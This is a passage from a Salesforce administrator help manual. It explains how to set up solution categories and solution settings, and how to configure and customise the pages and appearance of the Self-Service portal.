Create solution categories so that users can group similar solutions together. Once your solutions are categorized, users can browse for and find solutions by category from the Solutions tab or when solving a case. Customers can also browse solutions by category in public solutions, the Self-Service portal, and the Customer Portal. Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal.

See Also:
Getting Started with Categories Defining Solution Categories Entering Translated Terms

1429

Customize

Getting Started with Categories

Getting Started with Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change solution categories: Manage Categories

Follow these steps to ensure a successful rollout of solutions: 1. Plan which categories your support team needs. Keep in mind that you can also allow customers to find solutions by category in public solutions and your Self-Service portal. You can specify that customers can view only solutions in a particular category and all of its subcategories. Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. 2. Define your categories; see Defining Solution Categories on page 1430. 3. Categorize your solutions; see Categorizing Solutions on page 3446. Administrators, and users with the Manage Categories permission, can categorize solutions prior to enabling solution categories for the entire organization. 4. Create a custom report of type Solution Categories to verify that all solutions are categorized appropriately. To find any uncategorized solutions, use the advanced report filters; choose the Category Name field and the equals operator, and leave the third field blank. Administrators, and users with the Manage Categories permission, can create solution category reports prior to enabling solution categories for the entire organization. 5. Enable solution category browsing for the Solutions tab; see Customizing Solution Settings on page 1432. 6. Enable solution category browsing for customers using public solutions and your Self-Service portal. See Enabling Public Solutions on page 1425 and Enabling Self-Service Features and Settings on page 1436. 7. Specify the top-level category accessible by customers using public solutions and your Self-Service portal. This is useful if you want to have certain categories available only to internal staff. Leave this blank if you want customers to view all categories and all solutions that are visible in Self-Service portal or visible in public solutions.

See Also:
Managing Solution Categories

Defining Solution Categories


Begin by creating your solution categories. The All Solutions category is automatically created for you as the top of your solution hierarchy. Users cannot add solutions to this category or translate it. 1. Click Your Name > Setup > Customize > Solutions > Solution Categories. 2. Click Add Category to create a subcategory below a specific category.

1430

Customize

Defining Solution Categories

3. Enter the category name. Category names cannot include the backslash \ character. 4. Select a different parent category, if desired. The parent category is the category directly above this category in the hierarchy. 5. Select a sort order for any subcategories you create under this category. Choose Alphabetical Order to sort subcategories alphabetically. Choose Custom Order to sort subcategories in the order you specify; see Adding and Sorting Subcategories on page 1431.

6. Click Save. 7. After creating categories, categorize your solutions. See Categorizing Solutions on page 3446. Administrators, and users with the Manage Categories permission, can categorize solutions prior to enabling solution categories for the entire organization. 8. Then, after categorizing solutions, turn on solution category browsing on the Solutions tab. See Customizing Solution Settings on page 1432. 9. To enable solution category browsing for the public knowledge base or your Self-Service portal, see Enabling Public Solutions on page 1425 and Enabling Self-Service Features and Settings on page 1436. Editing and Deleting Categories From the list of solution categories, you can: Click Edit to modify the category name, parent category, or sort order. Click Del to delete the category. The solutions associated with the category are not deleted. Note: You cannot delete a category in use by a Salesforce Customer Portal. For more information, see Enabling Customer Portal Login and Settings on page 1758. Click the category name to view the category details.

Adding and Sorting Subcategories From a category detail page, you can: Click New to add a subcategory below the category. Enter a custom sort order for the subcategories. 1. Edit the category to set the Subcategory Sort Order to Custom Order. 2. Enter numbers in the Order column to specify the order of the subcategories. 3. Click Reorder.

See Also:
Categorizing Solutions Entering Translated Terms

1431

Customize

Customizing Solution Settings

Customizing Solution Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change solution settings: Customize Application

To customize solution settings: 1. Click Your Name > Setup > Customize > Solutions > Solution Settings. 2. Click Edit. 3. Select Enable Solution Browsing to turn on the ability to browse for and find solutions by category. This setting enables solution browsing on the Solutions tab, Customer Portal, and when solving a case. For information on translating solution categories into multiple languages, see Entering Translated Terms on page 496. 4. Select Enable Multilingual Solutions to turn on the ability for users to translate solutions into multiple languages. You can deselect the Enable Multilingual Solutions checkbox at any time, but deselecting it removes all associations between master and translated solutions and automatically disables the Enable Multilingual Solution Search in Self Service Portal and Enable Multilingual Solution Search for Public Solutions settings. If you select the Enable Multilingual Solutions checkbox again, the associations between master and translated solutions are restored. 5. Select Enable Multilingual Solution Search in Self-Service Portal to add a language drop-down list to the Self-Service portal that automatically restricts search results to solutions that match the Self-Service portal users language. From the language drop-down list, Self-Service portal users can choose whether to search for solutions in a specific language or any language supported by Salesforce. Deselecting this checkbox removes the language drop-down list from the Self-Service portal, and search results include solutions in all languages, regardless of the Self-Service portal user's language. 6. Select Enable Multilingual Solution Search for Public Solutions to add a language drop-down list to public solutions so that public solutions users can choose which language to search for solutions. From the language drop-down list, public solutions users can choose whether to search for solutions in a specific language or any language supported by Salesforce. Deselecting this checkbox removes the language drop-down list from public solutions, and search results include solutions in all languages. 7. Select Enable HTML Solutions to create and display solutions in HTML. When enabled, solutions appear in HTML in Salesforce, public solutions, Self-Service portal, and Salesforce Customer Portal. Using HTML Solutions allows users to easily format solution details by changing fonts and colors, and adding images and hyperlinks. Warning: Once you select Enable HTML Solutions, you cannot disable it.

8. Select Solution Summary to display up to 150 characters of the solution details in the solution search results. Deselecting this checkbox removes the solution summary from the results.

1432

Customize

Setting Up Self-Service

9. Select Inline Category Breadcrumbs to display up to 150 characters of the breadcrumb trail of categories to which the solution belongs in the search results. Deselecting this checkbox removes the breadcrumbs from the results. 10. Click Save. 11. To enable solution browsing by customers in public solutions or your Self-Service portal, see Enabling Public Solutions on page 1425 and Enabling Self-Service Features and Settings on page 1436. In addition, you can customize the top-level category accessible by public solutions and Self-Service users. You do not need to modify this setting if you want customers to view all categories and all solutions that are visible in the Self-Service portal or visible in public solutions. Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal.

See Also:
Categorizing Solutions Managing Solution Categories Enabling Multilingual Solutions Setting Up Your Customer Portal

Setting Up Self-Service
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use Self-Service Jump Start: To set up the Self-Service portal: To modify Self-Service pages: Manage Self-Service Portal Manage Self-Service Portal Manage Self-Service Portal AND Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. Self-Service provides an online support channel for your customers - allowing them to resolve their inquiries without contacting a customer service representative. Setting up your Self-Service portal is simple. Choose from two setup options: Jump Start - Gets you up and running quickly; see Self-Service Jump Start on page 1435. Self-Service Setup - Complete setup which allows you more customization. The setup consists of: Enabling Self-Service Features and Settings on page 1436

1433

Customize

Preparation for Setting Up Your Portal

Customizing Your Self-Service Look and Feel on page 1439 Customizing Your Self-Service Fonts and Colors on page 1442 Customizing Your Self-Service Pages on page 1443 Generating Login HTML on page 1452 Managing Self-Service Users on page 1453

See Preparation for Setting Up Your Portal to learn more about implementing Self-Service.

See Also:
Customizing Your Self-Service Fonts and Colors Customizing Your Self-Service Look and Feel Self-Service Jump Start Administrator tip sheet: Getting the Most from Your Self-Service Portal Administrator setup guide: Self-Service Implementation Guide

Preparation for Setting Up Your Portal


Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. Before setting up your Self-Service portal or your Salesforce Customer Portal: Build your public solutions - Review and mark your solutions as Visible in Self-Service Portal. Only solutions marked Visible in Self-Service Portal can appear in the Self-Service portal or the Customer Portal. (See Reviewing Solutions on page 3443.) For your Self-Service portal only, identify the top five solutions you want to feature on the Home Page. Determine the information to show and collect - Decide which case fields will be available when users view their cases. You should also decide which fields should be required when users submit cases online and which picklist values users can select when they solve their own cases with suggested solutions. (See Case Fields on page 3363.) Designate the portal's location - Choose where to add your portal's login URL on your corporate website. To locate the login URL for your Self-Service portal, see Generating Login HTML on page 1452; to locate the login URL for your Customer Portal see Enabling Customer Portal Login and Settings on page 1758. Customize your portal communication templates - Decide which email templates to send to users to communicate a variety of information, such as reset passwords, notifications when public comments are added to cases, and case auto-responses with suggested solutions. Customize and distribute the portal tip sheet - Download the Using the Self-Service Portal and Customer Portal tip sheet and edit it to match your portal's branding and features, such as suggested solutions and the ability to attach files to submitted cases. Then distribute the document to your customers who want to learn how to answer their own inquiries using your portal.

See Also:
Setting Up Self-Service Enabling Salesforce CRM Content in the Customer Portal

1434

Customize

Self-Service Jump Start

Self-Service Jump Start


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use Self-Service Jump Start: Manage Self-Service Portal

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. Get your Self-Service portal running quickly using the Jump Start button. It automates the setup process by choosing some default settings for you. 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings > Jump Start. Review the process and click Continue. Choose a color theme. Edit the default settings as needed and click Save. Test your Self-Service portal by: a. Clicking Generate to retrieve a test username and password. b. Clicking Access Self-Service Portal to preview your pages. c. Optionally, click Invite to notify other users how to log in and preview your pages. 6. Enable your Self-Service portal by copying the link provided in the Enable Self-Service... section to an appropriate place on your website. 7. Click Done when finished. 8. Enable your customers to use your Self-Service portal. See Managing Self-Service Users on page 1453. Tip: To make changes to your settings, see Enabling Self-Service Features and Settings on page 1436. The Self-Service Jump Start automatically enables the Enable Self-Service button on contact detail pages.

1435

Customize

Enabling Self-Service Features and Settings

Enabling Self-Service Features and Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up the Self-Service portal: To modify Self-Service pages: Manage Self-Service Portal Manage Self-Service Portal AND Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. 1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings. 2. Click Self-Service Setup on the Self-Service Settings page. 3. Set the following options: Setting
Login Enabled Edit Self-Service Users

Description Allows users to log into the Self-Service portal. Displays the Enable Self-Service button on contact detail pages. Or, for contacts in which Self-Service is already enabled, the View Self-Service button displays. The URL of the web page that will be displayed when users log out of the Self-Service portal, for example, http://www.acme.com. If a logout URL is not specified, the Logout button does not display to users. The default origin assigned to all cases submitted via the Self-Service portal. Available values are taken from your organization's Case Origin picklist. You can assign different default origins for cases submitted via Self-Service and Web-to-Case. Automatically selects the Visible in Self-Service Portal checkbox for all new cases, including cases created via Web-to-Case, Email-to-Case, and On-Demand Email-to-Case. Regardless of this default, users creating new cases can manually set the Visible in Self-Service Portal checkbox.

Logout URL

Default Case Origin

New Cases Visible in Portal

1436

Customize

Enabling Self-Service Features and Settings

Setting
Enable Solution Browsing

Description Enables solution categories in the Self-Service portal so that customers can browse solutions by category. If multilingual solutions is enabled, you can translate solution categories. For more information, see Entering Translated Terms on page 496.

Top-Level Category for Self-Service Portal The top-level category accessible by customers in the

Self-Service portal. Customers can view all solutions marked Visible in Self-Service Portal in this category and its subcategories. Leave this blank to let customers view all solutions marked Visible in Self-Service Portal in all categories.
Case Record Type

The record type to assign to any case submitted via the Self-Service portal. The email address from which all new user and password emails will be sent, for example, support@acme.com. When this field is blank, Salesforce uses: The Automated Case User's email address for users who receive an email with a temporary password by clicking Forgot your password? on the Login Page of the Self-Service portal. The Automated Case User is specified at Your Name > Setup > Customize > Cases > Support Settings. The email address of the user who last posted a comment for users who receive a case comment notification email. The name that will be associated with the From Email Address, for example, Acme Customer Support. When this field is blank, Salesforce uses: Your organization's name for users who receive an email with a temporary password by clicking Forgot your password? on the Login Page of the Self-Service portal. The name of the user who last posted a comment for users who receive a case comment notification email. The email template used to send a username and initial password to all newly-enabled Self-Service users. Self-Service automatically selects a sample template for you. To create your own template or modify the sample, see Managing Email Templates on page 474. This template must be marked as Available for Use. The email template used to send a new password to existing Self-Service users when you reset their passwords or when they reset their own passwords by clicking Forgot your

"From" Email Address

"From" Email Name

New User Template

New Password Template

1437

Customize

Enabling Self-Service Features and Settings

Setting

Description password? on the Login Page of the Self-Service portal. Self-Service automatically selects a sample template for you. To create your own template or modify the sample, see Managing Email Templates on page 474. This template must be marked as Available for Use.

Enable Notification Email on New Case Comment

When selected, indicates that the Send Customer Notification option on a case comment is displayed. Even if this checkbox is not selected, the Send Customer Notification option still displays on cases if you have enabled email notifications to contacts who are not members of your Self-Service portal. See Customizing Support Settings on page 1412.

New Comment Template

The email template used to send a notification to Self-Service users when a public comment is added to one of their cases. Self-Service automatically selects a sample template for you. To create your own template or modify the sample, see Managing Email Templates on page 474. This template must be marked as Available for Use. Note that case owners are sent a separate notification that you can't customize.

Enable Case Auto-Response Rules for Self-Service Cases Case Creation Template

Indicates if cases submitted through your Self-Service portal will trigger your auto-response rules. The email template to use when cases submitted through your Self-Service portal do not match any auto-response rules. The maximum pixel width of the Self-Service pages from Salesforce. If hosting the portal yourself, this is the width of the inner HTML frame on your Self-Service login page. The minimum pixel height of the Self-Service pages from Salesforce. The complete, publicly accessible URL of your organizations Self-Service style sheet, for example, http://www.acme.com/styles/selfservice.css. See Customizing Your Self-Service Look and Feel on page 1439. If you use a predefined color theme, leave this field blank.

Maximum Page Width

Minimum Page Height

Style Sheet URL

Color Theme

Use one of Salesforces color themes if you do not have your own style sheet to use. Click the View link to see template settings. To change the fonts and colors of one of Salesforces color themes, see Customizing Your Self-Service Fonts and Colors on page 1442.

1438

Customize

Enabling Self-Service Features and Settings

Setting
Case Single Term

Description Term used on the Self-Service portal instead of case (singular form). Term used on the Self-Service portal instead of cases (plural form). Term used on the Self-Service portal instead of solution (singular form). Term used on the Self-Service portal instead of solutions (plural form).

Case Plural Term

Solution Single Term

Solution Plural Term

4. Click Save to save your Self-Service settings.

See Also:
Setting Up Self-Service Customizing Your Self-Service Look and Feel Customizing Your Self-Service Fonts and Colors Customizing Your Self-Service Pages Generating Login HTML Managing Self-Service Users Self-Service Jump Start

Customizing Your Self-Service Look and Feel


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up the Self-Service portal: To modify Self-Service pages: Manage Self-Service Portal Manage Self-Service Portal AND Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. Develop a meaningful look and feel for your entire Self-Service portal. Follow these steps:

1439

Customize

Enabling Self-Service Features and Settings

1. Customize the headers and footers of the Self-Service pages; see Create Your Custom Page Header and Footer Sections on page 1440. 2. Customize the Self-Service portal fonts and colors via one of these options: Choose a predefined color theme or upload your own style sheet; see Customize the Self-Service Style Sheet on page 1441. Customize fonts and colors using a point-and-click editor; see Customizing Your Self-Service Fonts and Colors on page 1442.

See Also:
Customizing Your Self-Service Pages Self-Service Jump Start

Create Your Custom Page Header and Footer Sections


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up the Self-Service portal: To modify Self-Service pages: Manage Self-Service Portal Manage Self-Service Portal AND Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. Apply your companys branding to every page in your Self-Service portal by customizing your page headers and footers. Your portal page headers and footers can contain a company logo, your company messaging, or your companys colors. 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings. Click Edit next to the Page Header listed in the Portal Page Sections. Check Show Header to display the header on your portal pages. Check Show Header Separator to include a line separating the header from your body pages. If desired, enter a page message. Use the format toolbar to format your page message. You cannot save any JavaScript as part of your custom code. See Using the Format Toolbar for descriptions of the HTML formatting buttons. Optionally, check Show HTML to view your page message in HTML code. 6. 7. 8. 9. Click Save. Click Edit next to the Page Footer listed in the Portal Page Sections. Check Show Footer to display the footer on your portal pages. Check Show Footer Separator to include a line separating the footer from your body pages.

1440

Customize

Enabling Self-Service Features and Settings

10. If desired, enter a page message. Use the format toolbar to format your page message. You cannot save any JavaScript as part of your custom code. See Using the Format Toolbar for descriptions of the HTML formatting buttons. Optionally, check Show HTML to view your page message in HTML code. 11. Click Save.

See Also:
Customizing Your Self-Service Look and Feel Customizing Your Self-Service Pages

Customize the Self-Service Style Sheet


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up the Self-Service portal: To modify Self-Service pages: Manage Self-Service Portal Manage Self-Service Portal AND Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. Select a predefined color theme, or download a sample Self-Service color theme so you can customize it. This color theme allows you to incorporate your organizations branding into your Self-Service portal. Note: To customize the Self-Service color theme using a point-and-click editor, see Customizing Your Self-Service Fonts and Colors on page 1442. 1. 2. 3. 4. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings. Click Self-Service Setup. Click the View Color Theme Options link in the page settings section. Find a set of fonts and colors you like and click Download This Color Theme. To use a predefined color theme without customizing it, simply click Select This Color Theme. 5. Save the color theme you downloaded and give it to your webmaster if it needs more customization. The downloaded color theme is a CSS style sheet that your webmaster can edit. 6. Store the downloaded style sheet in a publicly accessible location and enter the URL for your style sheet in the Style Sheet URL field.

1441

Customize

Customizing Your Self-Service Fonts and Colors

7. Click Save.

See Also:
Customizing Your Self-Service Look and Feel Customizing Your Self-Service Fonts and Colors Customizing Your Self-Service Pages

Customizing Your Self-Service Fonts and Colors


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up the Self-Service portal: To modify Self-Service pages: Manage Self-Service Portal Manage Self-Service Portal AND Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. You can customize the fonts and colors of the Self-Service portal to reflect your companys branding. Your portals fonts and colors are specified in a portal color theme. Select a predefined color theme and customize it using a point-and-click editor. 1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Fonts and Colors. Salesforce offers predefined themes that you can customize. Click Preview to view any theme. 2. Select the color theme you want to customize. From the color theme page, you can: Click the Reset to Default link to remove all customizations from a theme. Click the Back to All Themes link to return to the list of color themes. Click Preview Theme Nameto view the theme you are customizing.

3. Choose a portal page to customize. Color themes are customized page-by-page with some page elements being shared by multiple pages. From the portal page, you can: Click See Examples to see all of the elements that you can customize. Click Clear next to an element to remove customizations. Click Preview Theme Name to view the theme you are customizing. Click the Back to All Pages link to return to the list of all portal pages.

1442

Customize

Customizing Your Self-Service Pages

4. Click Edit next to the visual element you want to customize. Some elements are visible only on the selected portal page, and some are shared across multiple portal pages. Changes you make to shared elements affect all pages. Note: Depending on the visual element, you can customize attributes using a point-and-click editor or a custom style sheet editor which lets you modify the cascading style sheets (CSS) directly. Choose the click here link to switch between the two. If you are using the point-and-click editor, select the Show advanced attributes box to access the click here link. We recommend that only users familiar with cascading style sheets (CSS) define them. 5. Edit the visual element as desired. If you are using the point-and-click editor: Click Edit next to a basic or advanced attribute. If you do not see the advanced attributes, select the Show advanced attributes box. In the popup window, change the attribute as needed. Click OK to confirm your changes in the popup window. If you are using the custom style sheet editor, enter valid CSS code. For a list of all the page attributes you can edit, see Self-Service Page Attributes on page 1444. 6. Click Save to save all changes to the visual element and its attributes. Customizations are not visible to your Self-Service users until you set the color theme as active. 7. Repeat these steps to customize all visual elements and their attributes as necessary. 8. Return to the list of color themes by clicking the Back to All Pages link and then the Back to All Themes link. 9. Click Set Active Theme. 10. Select the theme to activate for your portal, live and in real-time. Your organization can only have one active theme. 11. Click Save. Note: Since changes to an active theme take effect immediately, we recommend that you fully customize a theme before activating it so as not to disturb your customers.

Customizing Your Self-Service Pages


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Self-Service pages: Manage Self-Service Portal AND Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal.

1443

Customize

Customizing Your Self-Service Pages

1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings. 2. Make the necessary enhancements to any Self-Service pages. See the following for more information: Customize the Login Page on page 1446 Customize the Home Page on page 1447 Enable the Solutions Page on page 1448 Customize the Log a Case Page on page 1449 Customize the View Cases Page on page 1450 Customize the Suggested Solutions Page on page 1451 Note: You cannot create multiple versions of the same Self-Service portal page. However, you can customize each Self-Service page. Salesforce Knowledge articles do not display in the Self-Service portal.

See Also:
Customizing Your Self-Service Look and Feel Customizing Your Self-Service Fonts and Colors Self-Service Jump Start

Self-Service Page Attributes


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up the Self-Service portal: To modify Self-Service pages: Manage Self-Service Portal Manage Self-Service Portal AND Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. The following is a list of Self-Service page attributes which can be modified with the point-and-click editor: Page Attribute
Color

Description The color of the text.

1444

Customize

Customizing Your Self-Service Pages

Page Attribute
Bold

Description The bolded value of the text. For example, whether the text is bolded or not. The size of the text. A specific style of type in which letters are displayed. A prioritized list of font family names for an element. Web browsers use the first font value recognized. The underline value of the text. For example, whether the text is underlined or not. The color of a border. The style of a border, such as dotted, dashed, or solid. The width of a border. The width of a bottom border. The amount of space between the border and the element. The amount of space to put between the top border and the element. The amount of space to put between the right border and the element. The amount of space to put between the left border and the element. The amount of space to put between the bottom border and the element. The height of the element. The height of a line. The background color of the element. The format in which the background image displays. For example, whether the image displays repeatedly in a horizontal or vertical format. The background image of the element. The relative or absolute URL which hosts the image must be inside the surrounding URL() syntax. For example, url(/sserv/img/tabBg_gray.gif).

Font size Font Font Family

Underline

Border Color Border Style Border Width Bottom Border Width Padding Padding Top

Padding Right

Padding Left

Padding Bottom

Height Line Height Background Color Background Repeat

Background Image

See Also:
Customizing Your Self-Service Fonts and Colors

1445

Customize

Customizing Your Self-Service Pages

Customize the Login Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Self-Service pages: Manage Self-Service Portal AND Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. You can customize the content of the Self-Service Login Page from the Self-Service Portal Pages related list. The Login Page is the first page that users see and prompts them for a username and password. Users can click Forgot your password? to automatically reset their passwords and receive a temporary password via email. Users are required to change their temporary password when logging in. For details on setting up the new password template, see New Password Template on page 1437. 1. To customize this page, click Edit next to the Login Page listed. 2. Check Show Message to display your message on the login page. 3. Insert a page message. Use the format toolbar to format your page message. You cannot save any JavaScript as part of your custom code. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 486. Optionally, check Show HTML to view your page message in HTML code. 4. Click Save.

See Also:
Customizing Your Self-Service Pages Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Generating Login HTML Self-Service Jump Start

1446

Customize

Customizing Your Self-Service Pages

Customize the Home Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Self-Service pages: Manage Self-Service Portal AND Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. You can customize the content of the Self-Service Home Page from the Self-Service Portal Pages related list. The Home Page is the first page that users see after they log in. 1. To customize this page, click Edit on the Home Page line. 2. You can enable the following features: Feature
Show Top Solutions List

Description Lists the titles of up to five solutions of your choice on the Home Page. Lists the open cases of the Self-Service user who is logged in. The message that will be displayed at the top of the home page. You can enter a message of up to 32,000 characters including any HTML tags.

Show My Open Cases

Show Message

3. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 486. Optionally, check Show HTML to view your page message in HTML code. 4. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 464. 5. Click Save. 6. To see how your Home Page will look, click Preview on the Home Page line. If you have customized the Self-Service style sheet, the preview shows your custom styles.

1447

Customize

Customizing Your Self-Service Pages

Set the Top Solutions If you checked Show Top Solutions List from the Home page, click Add in the Solutions related list of the Self-Service Settings page to search for and select solutions to display on the Home page. You may only select solutions that have been marked Visible in Self-Service Portal.

See Also:
Customizing Your Self-Service Pages Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Generating Login HTML Self-Service Jump Start

Enable the Solutions Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Self-Service pages: Manage Self-Service Portal AND Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. You can enable the Self-Service Solutions Page from the Self-Service Portal Pages related list. The Solutions Page allows users to see solutions that have been marked Visible in Self-Service Portal and any files attached to those solutions. 1. 2. 3. 4. To enable this page, click Edit on the Solutions Page line. Select the Show Solution Page checkbox. Check Show Message to display a message at the top of the Solutions Page. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 486. Optionally, check Show HTML to view your page message in HTML code. 5. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 464. 6. Click Save.

1448

Customize

Customizing Your Self-Service Pages

7. To see how your Solutions Page will look, click Preview on the Solutions Page line. If you have customized the Self-Service style sheet, the preview shows your custom styles.

See Also:
Customizing Your Self-Service Pages Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Generating Login HTML Self-Service Jump Start

Customize the Log a Case Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Self-Service pages: Manage Self-Service Portal AND Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. You can enable and customize the Log a Case Page from the Self-Service Portal Pages related list. The Log a Case Page allows users to submit new cases to your customer support team. New cases submitted from this page will be automatically created in Self-Service and assigned to the support representative or queue defined by your case assignment rules. 1. 2. 3. 4. To allow users to submit cases from your Self-Service portal, click Edit on the Log a Case Page line. Select the Show Log a Case Page checkbox. Check Show Message to display a message on this page. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 486. Optionally, check Show HTML to view your page message in HTML code. 5. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 464. 6. Click Save. 7. To change the fields that display on the page, click the Page Layout link. For more information on changing the page layout, see Customizing Page Layouts on page 1311. Note: If a case field is tied to a validation rule, the rule can prevent Self-Service portal users from logging a case if they do not have access to fill in that field. Consider making those fields visible on the Log A Case page.

1449

Customize

Customizing Your Self-Service Pages

8. Click Save at any time to finish. 9. To see how your Log a Case Page will look, click Preview on the Log a Case Page line. If you have customized the Self-Service style sheet, the preview shows your custom styles.

See Also:
Customizing Your Self-Service Pages Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Generating Login HTML Self-Service Jump Start

Customize the View Cases Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Self-Service pages: Manage Self-Service Portal AND Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. You can enable and customize the View Cases Page from the Self-Service Portal Pages related list. The View Cases Page allows users to view their open and closed cases, related solutions, completed activities, comments, and (optionally) to add comments to their cases. 1. Click Edit on the View Cases Page line. 2. Select the Show View Cases Page box to allow users to view their open and closed cases. 3. Select Add Comments to Cases to allow users to add comments to their cases. When a user adds a comment, an email is automatically sent to the case owner. 4. Select Add Attachments to Cases to allow users to upload files to their cases. When a user adds an attachment, an email is automatically sent to the case owner. When editing the page layout for the View Cases Page, add the Case Attachments related list to allow Self-Service users to view the files they've added to their cases. Be aware that this related list also shows any files that support reps have added to the case. 5. Check Show Message to display a message on this page. 6. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 486.

1450

Customize

Customizing Your Self-Service Pages

Optionally, check Show HTML to view your page message in HTML code. 7. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 464. 8. Click Save. 9. To change the fields and related lists that display on the page, click the Page Layout link. For more information on changing the page layout, see Customizing Page Layouts on page 1311. Add the Case Activities related list to allow Self-Service users to view public, completed activities related to their cases. You also need to set field-level security to visible for the Visible in Self-Service Portal checkbox on activity page layouts so support reps will be able to display or hide completed activities in the Self-Service portal by clicking Make Public or Make Private in the case's Activity History related list. 10. Click Save at any time to finish. 11. To see how your View Cases Page will look, click Preview on the View Cases Page line. If you have customized the Self-Service style sheet, the preview shows your custom styles. Tip: To hide specific cases from users in the portal, you can deselect the Visible in Self-Service Portal checkbox on the case. Note: View Cases pages list cases in descending order via the Case Number field. Portal users cannot change this order; nor can they sort case columns in the Self-Service portal.

See Also:
Setting Up Self-Service Enabling Self-Service Features and Settings Customizing Your Self-Service Look and Feel Customizing Your Self-Service Pages Generating Login HTML Self-Service Jump Start

Customize the Suggested Solutions Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify Self-Service pages: Manage Self-Service Portal AND Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal.

1451

Customize

Generating Login HTML

You can enable and customize the Suggested Solutions Page from the Self-Service Portal Pages related list. The Suggested Solutions Page displays up to ten relevant solutions that may help users solve a particular case. When submitting a case or viewing cases in the Self-Service portal, users can view suggested solutions and close their cases themselves. See What are Suggested Solutions? on page 3435. To customize the Suggested Solutions Page: 1. Click Edit on the Suggested Solutions Page line. 2. Select Show Suggested Solutions Page to enable the page in the Self-Service portal. 3. Select a Self-Closed Case Status to show in the Status field for cases closed by Self-Service users. You must select at least one Closed value for this field. To customize the Status field, see Picklist Considerations on page 1077. 4. Choose the maximum number of suggested solutions to display to users at one time. You can show a maximum of ten. 5. Select the Self-Closed Case Reasons that Self-Service users can choose from when they self-close their cases. To customize the values associated with the Case Reason field, see Picklist Considerations on page 1077. 6. Check Show Message to display a message on this page. 7. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 486. Optionally, check Show HTML to view your page message in HTML code. 8. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 464. 9. Click Save. 10. To see how your Suggested Solutions Page will look, click Preview on the Suggested Solutions 